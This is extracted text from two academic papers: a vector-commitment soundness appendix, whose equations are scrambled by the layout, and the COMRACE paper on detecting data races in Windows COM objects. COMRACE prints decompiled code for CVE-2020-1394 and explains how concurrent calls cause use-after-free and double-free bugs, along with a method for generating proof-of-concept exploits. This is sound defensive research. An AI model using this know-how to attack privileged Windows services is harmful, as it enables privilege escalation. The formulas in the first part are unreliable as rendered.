Definition B.1 (VC Correctness). A VC is correct, if for
all λ ∈ N and n = poly(λ), for all pp ← Gen(1λ,n), for
all vectors a = [a0, . . . ,an−1], if C = Compp(a) and πi =
Openpp(i,a),∀i ∈ [0,n) (or from OpenAllpp(a)), then, for
any polynomial number of updates (u,δ) resulting in a
new vector a′, if C′ and π′i, for all i, are the updated
digest and proofs obtained via calls to UpdDigpp and
UpdProofpp (or to UpdAllProofspp) respectively, then (1)
Pr[1←Verpp(C

′,{i},a′i,π′i)] = 1 for all i; (2) ∀I⊆ [n],Pr[1←
Verpp(C

′, I, (a′i)i∈I , Aggpp(I,(a′i,π
′
i)i∈I))] = 1.

Observation: At a high-level, correctness says that proofs
created via Open or OpenAll verify successfully via Ver, even
in the presence of updates and aggregated proofs.

Definition B.2 (VC Soundness). ∀ PPT adversaries A ,

Pr


pp← Gen(1λ,n),

(C, I,J,(ai)i∈I ,(a′j) j∈J ,πI ,π
′
J)← A(1λ,pp) :

1← Verpp(C, I,(ai)i∈I ,πI) ∧
1← Verpp(C,J,(a′j) j∈J ,π

′
J) ∧

∃k ∈ I∩ J s.t. ak ̸= a′k

≤ negl(λ)

Observation: Soundness says that no adversary can output
two inconsistent proofs for different values ak ̸= a′k at position
k with respect to an adversarially-produced digest d. Note
that such a definition allows the digest C to be produced
adversarially. This is stronger than what is required in our
cryptocurrency setting from §4, where the digest is produced
correctly from the agreed transactions. Nonetheless, having
a stronger definition makes our VC from §3 more widely
useful.

Theorem B.1 (Individual Hyperproofs are sound). Our in-
dividual logn-sized (non-aggregated) proofs from §3.1 are
sound as per Def. B.2 under q-SDH (see Assum. A.1).

Proof for Thm. B.1. Suppose there exists an adversary A that
breaks Def. B.2. We show how to build another adversary
B that breaks the ℓ-SDH assumption (see Assum. A.1). We
first assume A returns individual (non-aggregated) proofs and
then generalize to A returning aggregated proofs.

B is given ℓ-SDH public parameters pp =

((p,G1,G2,GT ,e,g1,g2), gs
2,g

s
1, . . . ,g

sℓ
1 ), and must (some-

how) break ℓ-SDH by outputting (a,g
1

s−a
1 ) for some a ̸= s.

For this, B will leverage A into helping him.
First, B “guesses” the position i on which A will forge,

which he can do with probability 1/poly(λ), where λ is our
security parameter. Second, B “tweaks” the ℓ-SDH public
parameters into the Hyperproofs public parameters from
Fig. 1, which he then calls A with. Specifically, B sets
sk − ik = rk(s− i1),∀k ∈ [ℓ], where r1 = 1, the rest of the
rk’s are random, and iℓ, . . . , i1 is the binary representation of i.

Importantly, note that B can do this without knowledge of s,
since B can compute any product g∏i∈S si

1 ,S ∈ 2{1,2,...,ℓ} from
the gsi

1 ’s. Similarly, B can compute any gsk
2 from gs

2. Third, B
calls A with the “tweaked” public parameters as input and
obtains a digest C and two inconsistent proofs π = (wk)k∈[ℓ],
π′ = (w′k)k∈[ℓ] for position i having values both v and v′. (If A
outputs proofs for a different position i′ ̸= i, B retries.)

Since both proofs verify, the following equations hold,
where iℓ, . . . , i1 is the binary expansion of the position i:

e(C/gv
1,g2) = ∏

k∈[ℓ]
e(wk,g

sk−ik
2 ) (28)

e(C/gv′
1 ,g2) = ∏

k∈[ℓ]
e(w′k,g

sk−ik
2 ) (29)

Next, dividing the top equation by the bottom one and substi-
tute sk− ik = rk(s− i1),∀k ∈ [ℓ]:

e(gv′
1 /gv

1,g2) = ∏
k∈[ℓ]

e(wk/w′k,g
sk−ik
2 )⇔ (30)

e(gv′−v
1 ,g2) = ∏

k∈[ℓ]
e(wk/w′k,g

rk(s−i1)
2 )⇔ (31)

e(g1,g2)
v′−v =

(
∏
k∈[ℓ]

e(wk/w′k,g
rk
2 )

)s−i1

⇔ (32)

e(g1,g2)
1

s−i1 =

(
∏
k∈[ℓ]

e(wk/w′k,g
rk
2 )

) 1
v′−v

⇔ (33)

e(g
1

s−i1
1 ,g2) = ∏

k∈[ℓ]
e
((

wk/w′k
) rk

v′−v ,g2

)
⇔ (34)

e(g
1

s−i1
1 ,g2) = e

(
∏
k∈[ℓ]

(
wk/w′k

) rk
v′−v ,g2

)
(35)

Thus, g
1

s−i1
1 = ∏k∈[ℓ]

(
wk/w′k

) rk
v′−v and B can output (i1,g

1
s−i1
1 )

and break ℓ-SDH.

Theorem B.2 (Aggregated Hyperproofs are sound). Our ag-
gregated proofs from §3.3 are sound as per Def. B.2 under
the knowledge-soundness of the LBATCH argument (see Thm.
A.1).

Proof. See the extended version of this paper [56]
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Abstract

The Microsoft Component Object Model (COM) is the
foundation for many key Microsoft technologies and we de-
velop COMRACE, the first data race vulnerability detection
tool for commercial off-the-shelf COM objects. COMRACE
targets a severe but previously overlooked flaw in the COM
threading model, which makes COM objects prone to data
race attacks. In COMRACE, we apply static binary analyses
to identify thread-unsafe interface methods in off-the-shelf
COM binaries, then further verify binary analyses results with
automatically synthesized proof-of-concept exploits (PoC).
We have applied COMRACE to 10,420 registered COM ob-
jects on the windows platform and the tool reports 186 vul-
nerable interface methods. COMRACE automatically syn-
thesizes 234 PoCs for 256 selected method pairs (82 unsafe
methods) with conflict accesses, and there are 194 PoCs trig-
gering race conditions. Furthermore, 145 PoCs lead to critical
memory corruptions, exposing 26 vulnerabilities confirmed by
the Common Vulnerabilities and Exposures (CVE) database.

1 Introduction

The Microsoft Component Object Model (COM) [1] is a
binary interface standard that allows binary software com-
ponents to interact. A COM object implements one or more
typed interfaces, which are groups of methods that can be in-
voked by any client requesting the COM object, either locally
within the same process (in-process COM), or remotely across
process boundaries (cross-process COM). COM allows reuse
of objects via well-defined interfaces, without disclosing their
internal implementation. Thus applications can be built from
binary software components. COM is the basis for several key
Microsoft technologies and applications, such as Microsoft
Word, ActiveX, DirectX, User-Mode Driver Framework, Win-
dows Runtime, etc. To date, Microsoft has implemented over
11,000 official COM classes.

*Corresponding authors.

For efficiency, COM supports multi-threading, i.e., calls
from different clients to interface methods of a COM object
may run concurrently. Consequently, data races may be trig-
gered if the interface methods are not thread-safe. These data
races often lead to memory corruption bugs such as buffer
overflows and use-after-frees. Attackers can easily exploit
those bugs to gain escalated privilege or execute arbitrary
code, as demonstrated in our experiments.

This paper focuses on detecting data race vulnerabilities
in COM objects. To the best of our knowledge, this is the
first work targeting data races in COM objects. There is a
rich literature of race detection techniques, including both
dynamic [2, 3, 4] and static [5, 6, 7, 8] approaches. However,
these techniques analyze the source program to detect conflict
accesses not ordered by a happen-before relationship. Hence,
they cannot be directly applied to COM objects, which are
closed-source binaries.

We propose COMRACE, the first race detection tool for
COM objects. In a nutshell, COMRACE first statically ana-
lyzes off-the-shelf COM binaries (dll or exe files) to detect
vulnerable interface methods with unguarded field accesses,
then automatically generates proof-of-concept (PoC) exploits
to trigger race conditions in those vulnerable interfaces. With
COMRACE, we have systematically analyzed 10,420 regis-
tered COM classes (92.1% of total registered COM classes),
and have identified 58 classes and 186 interface methods that
are vulnerable, with unsafe accesses to pointer fields. We
further verify 82 selected unsafe methods with automatically
synthesized PoCs, including 62 methods with free usages, and
another 20 randomly selected methods which write pointer
fields. COMRACE automatically generates 234 PoC exploits
(out of 256 pairs of methods with conflict fields accesses),
which try to trigger data races by invoking those thread-unsafe
interface methods concurrently. There are 194 PoCs success-
fully triggering race conditions and 145 of them lead to critical
memory corruption errors such as use-after-frees and buffer
overflows, posing a severe threat to the underlying system.
Those PoCs have exposed 26 confirmed CVEs and 29 bugs.

This paper makes the following contributions:
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Figure 1: In-process and cross-process COM objects.

• We, for the first time, demonstrate that cross-process
COM objects are prone to data race attacks.

• We develop COMRACE, the first data race vulnerability
detection tool for COM objects. COMRACE effectively
analyzes off-the-shelf COM binaries and reports vulner-
able interface methods that are not thread-safe.

• We have successfully applied COMRACE to 10,420
COM classes (92.1% of total registered COM classes)
and COMRACE has reported 186 vulnerable interface
methods. We synthesize 234 PoCs which exploit data-
race vulnerabilities by concurrently invoking vulnerable
interface methods: 145 PoCs trigger critical memory
corruption bugs, exposing 26 confirmed CVEs.

The rest of the paper is organized as follows. Section 2 re-
views the COM threading model and highlights its flaw with
a real-world example. We present the design and implementa-
tion of COMRACE in Section 3 and evaluate its effectiveness
and precision in Section 4. Section 5 reviews related work
and Section 6 concludes the paper.

2 Background

In this section, we firstly review the basics of COM and
its threading model. Then we illustrate the flaw of COM
threading model with a real-world example.

2.1 Basics of COM
A COM object is an instance of a COM class which im-

plements one or more interfaces. All interfaces are derived
from the IUnknown interface which declares the following 3
interface methods: QueryInterface, AddRef, and Release.
The method QueryInterface is introduced for run-time type

lookup (i.e., similar to RTTI in C++). The two methods
AddRef and Release together implement reference counting
memory management. Implementations of interface methods
are class member functions which can be referenced via the
virtual function table (vtable) of the object.

A client application requests a COM object by invoking
the API call CoCreateInstance with its unique registered
id (CLSID) in windows registry. For each registered COM
object, the windows registry also stores information regard-
ing its accessibility (in-process or cross-process), its binary
file location and threading mode, etc. The client application
can then invoke interface methods implemented by the COM
objects the same way as calling a normal function, regardless
of where those objects are running. The COM runtime encap-
sulates the communication details when invoking an interface
method remotely.

As shown in Figure 1, COM objects can be in-process
(within the same process of the client application) or cross-
process (in a different process, on the same machine or a
remote server). Invoking interface methods of in-process
COM objects are processed as ordinary function calls. Cross-
process COM calls are handled by a proxy/stub pair, where
the proxy may communicate with the stub via remote pro-
cedural call (for local COM servers), or via TCP/IP packets
(for remote COM servers). Note that such inter-process com-
munication does cross system security boundaries. Malicious
client applications can escalate their privileges by exploit-
ing vulnerabilities in cross-process COM objects with higher
privileges, threatening the underlying system.

2.2 The COM Threading Model

COM introduces the concept apartment for multi-threading.
All COM objects in a process are divided into groups called
apartments. A COM object lives in exactly one apartment,
in the sense that its methods can be directly called only by a
thread belonging to that apartment. All cross-apartment calls
have to be marshaled via a proxy/stub pair. COM objects
specify their apartments at registration, and there are three
kinds of apartments:

• Single-threaded Apartment. A single-threaded apartment
(STA) consists of exactly one thread. A COM object
in a STA can receive interface method calls from the
only thread in that STA. All interface method calls to a
STA COM object are synchronized with the windows
message queue.

• Multi-threaded Apartment. A multi-threaded apartment
(MTA) consists of one or more threads. All COM objects
in a MTA can receive method calls directly from any
thread belonging to that MTA. Threads in a MTA use a so
called free-threading model and calls to COM objects in
a MTA need to be synchronized by the object themselves
for thread-safety.
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Interface Proc3

1 __int64 __fastcall Interface_Proc3 (...){
2 void **v1 = (void**)(this + 104);
3 IUnknown *ptr = (IUnknown *)(*v1);
4 ptr->lpVtbl ->AddRef(ptr);
5 ...
6 }

Interface Proc6

7 IUnknown* a2 = operator new(0x98ui64);
8 ...
9 __int64 __fastcall Interface_Proc6(*a2){

10 void** v2 = (void**)(this + 104);
11 if(*v2 != a2){
12 if(a2){
13 IUnknown* v3 = (IUnknown*)(a2);
14 v3->lpVtbl ->AddRef(v3);
15 }
16 if(*v2){
17 IUnknown* v4 = (IUnkown*)(*v2);
18 v4->lpVtbl ->Release(v4);
19 }
20 *v2 = a2;
21 }
22 }

Figure 2: CVE-2020-1394: a real-world vulnerability reported
by COMRACE.

• Neutral-threaded Apartment. The neutral-threaded apart-
ment (NTA) is introduced for more efficient cross-
apartment calls. Interface methods of COM objects in an
NTA can be entered by threads in any apartment without
paying the penalty of expensive thread-context switch-
ing, and only light-weight proxies are used. Similar to
MTA, COM objects in an NTA need to guarantee thread-
safety by themselves.

In summary, an apartment is a logical encapsulation to spec-
ify thread sharing rules for COM objects. Although interface
method calls to STA COM objects are properly synchronized,
calls to COM objects in MTA or NTA can run concurrently.
Consequently, those MTA and NTA COM objects are prone
to data race attacks if thread-safety is not guaranteed.

2.3 A Real-world Vulnerability

Figure 2 gives a real-world data race vulnerability (CVE-
2020-1394) reported by COMRACE. The vulnerability is
located in LocationFramework.dll, which is linked in the
system daemon process Svchost.exe to provide location
service to clients. More specifically, the vulnerability is intro-
duced by the COM object GeoLocation, which is an NTA
COM object and can be concurrently invoked. In Figure 2, we
list the simplified code snippet (decompiled with IDA-pro [9])
of two thread-unsafe interface methods in the COM object :
Proc3 and Proc6.

Proc3
T1 T2

Read
(Line3)

(a). Use-After-Free

Proc6

(b). Double-Free

Read
(Line17)

Client

Proc6
T3 T4

Free
(Line18)

Proc6

Read
(Line 17)

Client

Read
(Line17)

Write
(Line20)

GeoLocation Service Object

Free
(Line18)

Line2

Use
(Line4)

Line5

Line10

Free
(Line18)

Write
(Line20)

Line10

Write
(Line20)

Line10

Figure 3: Proof-of-concept exploits of CVE-2020-1394.

Variable v1 (line 2) and variable v2 (line 10) point to
the same member field at address (this+104). The method
Proc3 reads the member field (which points to another COM
object) (line 3), then increases its reference count via the call
to AddRef at line 4. In Proc6, the method reads from the
same member field (line 17). At line 18, the function call
Release will free the COM object pointed to by the field if
its reference count is 0. Line 20 then resets the field to a new
allocated object.

Both Proc3 and Proc6 are not thread-safe, and there are
conflict accesses to the address (this+104). Multiple data
races can be triggered when the two methods are called con-
currently. As shown in Figure 3 (a), a client application con-
currently invokes Proc3 (thread T1) and Proc6 (thread T2).
The vulnerability manifests as follows. 1) T1 and T2 read from
the same address (this+104) at line 3 and line 17, respec-
tively. As a result, both ptr (line 3) and v4 (line 17) point
to the same COM object. 2) At line 18, T2 frees the COM
object. 3) T1 uses the freed COM object at line 4, triggering a
use-after-free vulnerability. Note here we do not regard line 4
and line 18 as data races since accesses to the COM object
are guarded by locks in both AddRef and Release.

In another scenario (Figure 3(b)), Proc6 is concurrently
invoked twice. T3 reads from the address (this+104) at line
17 before T4 resetting its value (line 20). As a result, both
T3 and T4 may free the same object at line 19, resulting in a
double-free vulnerability. To avoid the above two vulnerabili-
ties, the two code regions (lines 3-4, and lines 16-20) need to
be synchronized and protected as atomic regions.

Such vulnerabilities are prevalent in multi-threaded COM
objects. Attackers can easily exploit those vulnerabilities by
concurrently invoking vulnerable interface methods of cross-
process COM objects.

3 COMRACE

Figure 4 overviews our approach. The aim of COMRace
is to efficiently and precisely detect race vulnerabilities from
large sets of COM binaries in the underlying system. The tool

USENIX Association 31st USENIX Security Symposium    3021



Extract COM Objects

Registry Hive

Implementation

Object Information
Extractor

Object
Storage

Uncover Interface Implmentation Identify Unsafe Methods Synthesize PoC Exploits

Decompile MIDL Interface Definition

Reconstruct Vtable

NTA/MTA Cross-Process COM Object

HRESULT
MemberFunction(){ 
... 
}

Interface Method  
Identification

Interface Implementation

Object Method

Object Methods

Unsafe
Methods

Benign
Methods

Synchronization Analysis

Unsafe Methods

   func prove_of_concept(){ 
        ... 
   }

PoC Skeleton Program

Verification

CallSeqMap

Initialize
Interface
Object

Svchost.exe

Class Info

Threading Model
Class Name

Binary Location

Launch Permission
Access Permission
Service Name
RunAs Info

Interface Declaration
HRESULT Proc3([In] var1)

HRESULT Proc4([In] var1,[out] var2)

HRESULT Proc5([In] var1)

Reconstructed Vtable
Vtable 1

Vtable 2

Vtable 3

Field Usage Analysis

Field Usage
Information

PoC Program

Figure 4: Overview of COMRACE.

proceeds in four phases. We summarize their functionalities
and discuss our design decisions below, with details given in
Section 3.1, 3.2, 3.3, and 3.4.

• Phase 1: Extract COM objects. First, COMRACE ex-
plores windows registry for registered COM objects. For
each registered COM objects, windows registry holds
information regarding its unique id (CLSID), its binary
file location, threading model, etc. Those cross-process
COM objects in MTA or NTA are selected for further
analysis since they are prone to data race attacks.

• Phase 2: Uncover interface implementation. Next, we
reconstruct the implementation of COM interfaces for
further analysis. We adopt classic reverse engineering
approaches as in [10, 11, 12] to decompile the COM
interface and reconstruct the virtual function tables (vta-
bles) from binary files. Implementation of a COM in-
terface is then identified by checking whether a virtual
function table matches with given interface declaration
or not.

Discussion This step would be straightforward if we
can successfully recover all high-level type signatures of
COM interfaces and vtables. However, in practice, only
partial type information can be retrieved from off-the-
shelf binaries. Hence, we propose a usage analysis to
reconstruct layout information of function parameters.
The layout information is then used in checking whether
parameters of virtual functions are type-consistent with
those of interface method declarations or not, in case
their type signatures are unavailable.

• Phase 3: Identify unsafe interface methods. This is the
key step. In this phase, COMRACE reports potential

races by examining each interface method implementa-
tion: an interface method is regarded as thread-unsafe
if its accesses to a member field (addresses in the form
of this+offset where offset is a constant) are not
guarded by locks.

Discussion Traditional static race detection techniques
require precise alias analysis [13, 14, 15, 16, 17] and
may-happen-in-parallel analysis [18, 19, 20]. It is very
challenging, if not impossible, to precisely compute such
information from binaries. Hence, we apply the fol-
lowing two trade-offs in COMRACE. First, instead of
developing a proper alias analysis on binaries, we fo-
cus on accesses to member fields only, which can be
efficiently computed at high precision. Second, we re-
port unguarded accesses and optimistically regard lock-
protected field accesses as safe. For soundness, we need
precise alias analysis to check whether two guarded ac-
cesses hold the same lock or not. Both trade-offs sacri-
fice soundness for precision and efficiency, which means
COMRACE may miss some real bugs. Nevertheless,
they enable COMRACE to efficiently detect real race
vulnerabilities from COM binaries with good precision.

• Phase 4: Synthesize PoC exploits. Finally, given the set
of thread-unsafe methods with their field usages, we auto-
matically synthesize PoC exploits to concurrently invoke
thread-unsafe methods with conflict member field ac-
cesses. Those unsafe methods which free a member field
are especially vulnerable since they can easily lead to
use-after-frees. In addition, conflict write-write accesses
and write-read accesses can result in buffer overflows,
or undeterministic results.

Discussion COMRACE focuses on those race vulner-
abilities involving a pair of unsafe interface methods.
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Figure 5: The hierarchical structure of COM information in
Windows registry.

A skeleton program is provided for PoC synthesis. The
skeleton program includes a pre-generated header file
with all recovered COM interface declarations, and two
concurrently-executing loops, each of which invokes a
given interface method. Thus, we can automatically con-
struct a PoC exploit by synthesizing a sequence of inter-
face methods invocations, to prepare all necessary input
data for given interface methods.

To summarize, COMRACE firstly identifies vulnerable
COM interface methods for all registered COM objects via
static binary analysis, then further verifies static analysis re-
sults with automatically constructed PoC exploits.

3.1 Extract COM Objects
COM objects register themselves under the registry path

HKEY_CLASSES_ROOT/CLSID with a unique id CLSID. Hence,
we scan the registry path to get all registered COM objects.

As shown in Figure 5, each registry entry may con-
sist of the following three sub-keys: InProcServer32,
LocalServer32, and TypeLib. In-process COM objects
specify their binary locations and threading models (i.e., STA,
MTA, or NTA) in the sub-key InProcServer32, while cross-
process COM objects specify such information in the sub-key
LocalServer32. The sub-key TypeLib declares extra type
library information. This key is optional and is rarely given
for cross-process COM objects.

The sub-key LocalServer32 also declares the server
application hosting services of a cross-process COM ob-
ject via its application id AppID. Information of the
server application can be looked up with this id under the
registry path HKEY_CLASSES_ROOT/AppID. Windows reg-
istry holds application information including its service
name, access permission, and privilege, where the privilege
can be NT AUTHORITY\SYSTEM, NT AUTHORITY\SERVICE,
Standard User, or Sandboxed.

Figure 5 depicts the hierarchical structure of COM objects
and applications in windows registry. Following this structure,
COMRACE systematically explores windows registry and

1 /* Pointer Size: 8 Int size: 4*/
2 struct Struct_0 {
3 int Member0;
4 int Member4;
5 }
6 [Guid("4ca52eee-1690-4f47-bf00-1ab34a25362b")]
7 interface IVisitInformation : IUnknown {
8 HRESULT Proc3([Out] ILocationInformation** p0);
9 HRESULT Proc4([Out] /* ENUM32 */ int* p0);

10 HRESULT Proc5([Out] struct Struct_0* p0);
11 }
12 [Guid("49550759-d194-46e0-8f06-7fad130c2429")]
13 interface IVisitInformationInternal:
14 IVisitInformation {
15 HRESULT Proc6([In] ILocationInformation* p0);
16 HRESULT Proc7([In] /* ENUM32 */ int p0);
17 HRESULT Proc8([In] struct Struct_0 p0);
18 }

Figure 6: Decompiled interface declaration from the binary
file LocationFramework.dll of COM GeoLocation.

stores all collective information for MTA/NTA cross-process
COM objects for further analysis.

3.2 Uncover Interface Implementation
A COM class implementing an interface needs to imple-

ment all methods declared by the interface. The implementa-
tion of an interface method has the exact same type signature
(i.e., function name, its return types and parameter types) as
the interface method declaration. The vtable of the COM class
stores pointers to all interface method implementations, as
well as to some other virtual functions of that class. Hence,
we uncover interface implementation by identifying a vtable
matching the interface declaration. The challenge lies in how
to find a matching vtable since only partial type signature
information can be retrieved from binary files.

3.2.1 Retrieve Interface Declaration

COM interfaces are declared in MIDL (Microsoft Inter-
face Definition Language). We use the tool OleViewDot-
Net [21] to decompile interface declarations from binary
files. Figure 6 gives an example interface declaration by de-
compiling the binary file LocationFramework.dll of COM
GeoLocation. The COM object GeoLocation implements
interface IVisitInformatinInternal, which inherits inter-
face IVisitInformation.

Not all symbols can be recovered from binary files. As
shown in Figure 6, method names are missing hence the
tool gives each interface method a pseudo name (from
Proc3 to Proc8). The tool recognizes interface types (e.g.,
ILocationInformation) and primitive types. Enums are
regarded as int (line 9 and 16), and user-defined types are
given pseudo names (e.g., Struct_0). The tool also provides
layout information for user-defined types.
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Algorithm 1: Reconstruct Vtable List
Input: A Binary File: PeFile
Output: List of vtables: VTList
// Identify potential start address list

1 StartAddrList := {};
2 for each addr in .rdata segment of PeFile do
3 if *addr is in .text segment of PeFile then
4 if addr is written to [rcx] then
5 add addr to StartAddrList;

// Reconstruct Vtable List
6 for each startaddr in StartAddrList do
7 curaddr := startaddr;
8 while true do
9 if *curaddr not in .text of PeFile then

10 if VTList is empty then
11 break;

12 else
13 add [startaddr...curaddr-8] to VTList;
14 return;

15 else if curaddr+8 is in StartAddrList then
16 add [startaddr...curaddr] to VTList;
17 break;

18 curaddr:= curaddr + 8;

3.2.2 Reconstruct Vtables

We reconstruct the vtables from off-the-shelf binaries (of-
ten without any run-time type information) based on the fol-
lowing observations:

• The vtables of all classes in a binary file are stored con-
tinuously at the read-only segment of a COM binary,
usually the .rdata segment.

• Each vtable consists of a consecutive list of addresses,
and each address points to a location at the .text seg-
ment (i.e., the method implementation).

• The start address of a vtable is always written to the ad-
dress pointed by register rcx with code patterns like lea

rax, vtable_addr; mov [rcx], rax. By convention, the
rcx register is used to store the address of this pointer
on Windows, and this code snippet performs the func-
tionality of an object’s constructor to initialize its vtable.

Algorithm 1 illustrates how the vtables are constructed.
First, we identify potential vtable start addresses by examining
each address in the .rdata section of a binary file (lines 1-5).
An address is a potential vtable start address if it points to the
.rdata segment and is written to [rcx] (lines 3 and 4).

Next, we try to construct a vtable from each start address
startaddr (lines 6-18). From startaddr, a vtable is con-
structed by scanning all following addresses until reaching an
address in one of the three cases. 1) If its stored value does not
point to the .text segment and no vtable is found, we skip
to the next start address (lines 9 - 11). 2) If its stored value
does not point to the .text segment and we found at least
one vtable, the algorithm terminates (lines 12-14). This is
because vtables are stored continuously. 3) If the next address

1 //Vtable1:
2 CVisitInformation::
3 {
4 QueryInterface(void)
5 AddRef(void)
6 Release(void)
7 get_PositionInfo(ILocationInformation**)
8 get_StateChange(VISIT_STATECHANGE*)
9 get_Timestamp(_FILETIME*)

10 put_PositionInfo(ILocationInformation*)
11 put_StateChange(VISIT_STATECHANGE)
12 put_Timestamp(_FILETIME)
13 }
14 //Vtable2:
15 CSubscriberSession::
16 StopSubscriberRequest(void)
17 ...

Figure 7: Reconstructed Vtables of COM object
GeoLocation.

is also a start address, we continue to construct a new vtable
from the next start address.

Algorithm 1 reconstructs vtables with high accuracy. Fig-
ure 7 shows the reconstructed vtables for COM object
GeoLocation, where the two vulnerable methods (i.e., Proc3
and Proc6) are highlighted in red. For presentation, we di-
rectly list the method (decompiled with IDA-pro [9]) each
vtable item points to, instead of its address. IDA-pro can re-
trieve all method and type names. However, it cannot get the
implementation of a specific type.

3.2.3 Match Interface to Vtable

Given a COM interface, we try to find a vtable that imple-
ments all declared interface methods. This can be challenging
since we only recover partial type signature of interface meth-
ods. Specifically, information regarding method names and
user-defined structure types is missing. For instance, function
put_Timestamp(_FILETIME) (Figure 7, line 12) actually im-
plements the interface method Proc8(struct Struct_0)
(Figure 6, line 17). However, it is not possible to conclude
that from their signatures.

Rule 1 Each type TI in interface I has one exact matched type
TV in vtable V . TI matches with TV in one of the following 3
cases: 1) TV and TI have the same type name; 2) TI is int
and TV is Enum type; 3) TI has unknown name and its layout
is consistent with usages of data typed TV .

The above rule matches types in an interface (including
those with unknown name) with those in a vtable. The first
two cases are straight-forward and we propose a usage anal-
ysis for the third case. The analysis examines the usages of
a typed formal parameter (declared in vtable) to recover its
layout and the two types match if the recovered type layout is
consistent with that in the interface declaration. Specifically,
the analysis examines each instruction accessing a field of
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the parameter in the form para+offset, where para is the
parameter and offset is a constant value. A similar analysis
(with extension) is also used to identify member field accesses
(Section 3.3).

For our example, we examine the usages of the formal
parameter (typed _FILETIME) in function put_Timestamp
(with all its callee functions inlined) to check whether it
matches with type Struct_0 or not.

Rule 2 Method MI in interface I matches with method MV
in vtable V if all their parameter types match. Interface I
is implemented by vtable V if all its inherited and declared
methods match with a list of methods in V one by one, at the
exact order of how the methods are inherited or declared.

According to rule 2, a vtable is regarded as an interface imple-
mentation if there exists a list of methods in the vtable match-
ing all methods declared by the interface. Let us study inter-
face IVisitInformationInternal (Line 13 in Figure 6).
The interface is derived from IVisitInformation, whose
parent interface is IUnknown. Hence, a vtable implementing
that interface needs to match all its inherited and declared
methods, i.e., from QueryInterface to Proc8 in that or-
der. In Figure 7, the vtable Vtable1 matches all methods
of IVisitInformationInternal and it is regarded as an
implementation of that interface.

In practice, all COM interfaces are transitively derived
from IUnknown with the following 3 declared methods:
QueryInterface, AddRef, and Release. Hence, we can
efficiently match interface I with a vtable V by check-
ing whether the consecutive list of functions followed by
QueryInterface in V matches with all methods declared by
I or not.

3.3 Identify Unsafe Methods
An interface method is regarded as Unsafe if it accesses

member fields without synchronization (i.e., field accesses not
guarded by locks). Hence, we examine every instruction in
an interface method, as well as in its callee methods, to check
whether there exists an unguarded field access or not. This is
realized by tracking the usages of this pointer (convention-
ally stored in [rcx]) since all member fields are accessed via
this pointer with a constant offset. At the end, we report all
unsafe methods, together with their unguarded field accesses.

One of the challenges lies in how to efficiently track field
usages inter-procedurally. Since it is common to call virtual
functions of a field and a virtual function may free the object
this field points to (e.g., calling Release method of a COM
field), it is desirable to analyze such method calls to track
usages more precisely. However, the call to virtual functions
of a field are translated into indirect call instructions through
the vtable of the member field. For instance, the instruction
(**(this+112)+ 8))(*(this+112)) calls a virtual func-
tion (the second entry in its vtable) of field at offset this+112.

Algorithm 2: Analyze Field Usages
Input: Method to analyze: Func
Input: Visited methods: visited
Output: Field usage map: FldUses

1 if Func is in visited then
2 return;

3 visited := visited ∪ {Func};
4 TyMap[para] := type of parameter para;
5 sync := 0;
6 for each inst in Func do
7 if inst is lock then
8 sync:=sync+1;

9 else if inst is unlock then
10 sync:=sync-1;

11 else if inst reads this+off then
12 if sync==0 then
13 FldUses[this+off].Read := true;

14 else if inst writes v to this+off then
15 if sync==0 then
16 FldUses[this+off].Write := true;

17 FldUses[this+off].Type := TyMap[v];

18 else if inst assign v to x then
19 TyMap[x]:=TyMap[v];

20 else if inst frees this then
// e.g., this->Release()

21 if Sync==0 then
22 FldUses[this].Free := true;

23 else if inst calls this->func(...) then
// case1: call another member function

24 apply Algorithm 2 to func;
25 FldUses := FldUses ∪ func.FldUses;

26 else if inst calls func(...,*(this+off),...) then
// case2: call external library function

27 TyMap[this+off] := type of func’s formal parameter;
28 if Sync==0 then
29 if func frees *(this+off) then
30 FldUses[this+off].Free := true;

31 else if inst calls *(this+off)->func(...) then
// case3: call member function of a field object

32 apply Algorithm 2 to func;
33 if func.FldUses[this].Free is true then
34 FldUses[this+off].Free := true;

Since the type of a field at offset this+112 is unknown, we
could not locate the callee method.

We address the challenge by analyzing type propagation
and tracking field usages at the same time. Given the type
of a member field, with our reconstructed vtables, we can
then resolve the target of a virtual method invocation. Algo-
rithm 2 illustrates how we propagate type information and
compute field usages at the same time. The algorithm se-
quentially scans all instructions in a method, and computes
unguarded accesses and types for all field accesses in the
method. Initially, only formal parameters have types hence
the map TyMap is initialized with known type information.
After the analysis, TyMap will store propagated known types
for all variables in the method.

As shown in Algorithm 2, we conduct a case analysis for
each instruction. Synchronization is handled by a count num-
ber sync, which increases at every lock instruction (lines 7
and 8), and decreases at every unlock instruction (lines 9 and
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Table 1: Field usages and field types for interface methods of
GeoLocation. R, W, and F stand for Read, Write, and Free,
respectively.

Field Type Usage Method

this+104 ILocationInformation* R Proc3

this+112 enum VISIT_STATECHANGE* R Proc4

this+116 struct _FILETIME * R Proc5

this+104 ILocationInformation* R,W,F Proc6

this+112 enum VISIT_STATECHANGE* W Proc7

this+116 struct _FILETIME * W Proc8

10). Field accesses are considered as unsafe if they are not
guarded by any locks (i.e., sync==0). This simple approach
works well for us because locking primitives are well struc-
tured, and a lock instruction almost always matches with an
unlock instruction, and vice versa.

Field usages are updated when an instruction reads or
writes a field and the lock count number sync is 0 (lines
11-17). Similarly, if an unguarded instruction frees the object
itself (e.g., invoking this->Release()), we flag the usage
FldUses[this].Free as true. We propagate type informa-
tion when assigning a variable to another, the left hand side
(LHS) of the assignment is given the type of the right hand
side variable (line 17 and line 19). In addition, when there
is a resolved function call, we can infer the types of actual
parameters according to the declared type signature of the
function (line 27).

It is more challenging to handle call instructions and there
are 3 different cases: 1) if we call another member function
(lines 23 - 25), we recursively analyze the callee function
(as if it is inlined); 2) if we call an external function whose
argument is a member field (line 26 - 30), we update the
member field type according to function type signature, and
its free usage is updated to true if the external function may
free the field and the call is not guarded; and 3) if we call
a member function of a field (lines 31 - 34), we recursively
analyze the member function and set the free usage of that
field to true if the member function may free the field and the
call is not guarded.

A method is safe if its field usages FldUses is empty, i.e.,
there exist no unguarded field accesses. Table 1 gives the
computed field types and usages for all interface methods in
GeoLocation, where all 6 unsafe methods with their field us-
ages are given. Concurrently invoking those interface methods
can trigger multiple data races. For instance, we can trigger
a write-write race by concurrently invoking Proc7 with it-
self, and a write-read race can be triggered if concurrently
invoking Proc7 with Proc4. The unsafe method Proc6 is
particularly dangerous since it frees a member field and can
cause use-after-free or double-frees.

Discussion We conduct a simple and efficient sequential
scan on instruction list instead of trying to reconstruct the con-
trol flow graph of a binary program and analyze locking status
with dataflow analysis. As such, the algorithm takes linear
time: each instruction is visited at most once and repetitive
calls to the same function are handled by function summary.
This simple approach works well in our case because COM
objects often adopt well-structured high-level locking prim-
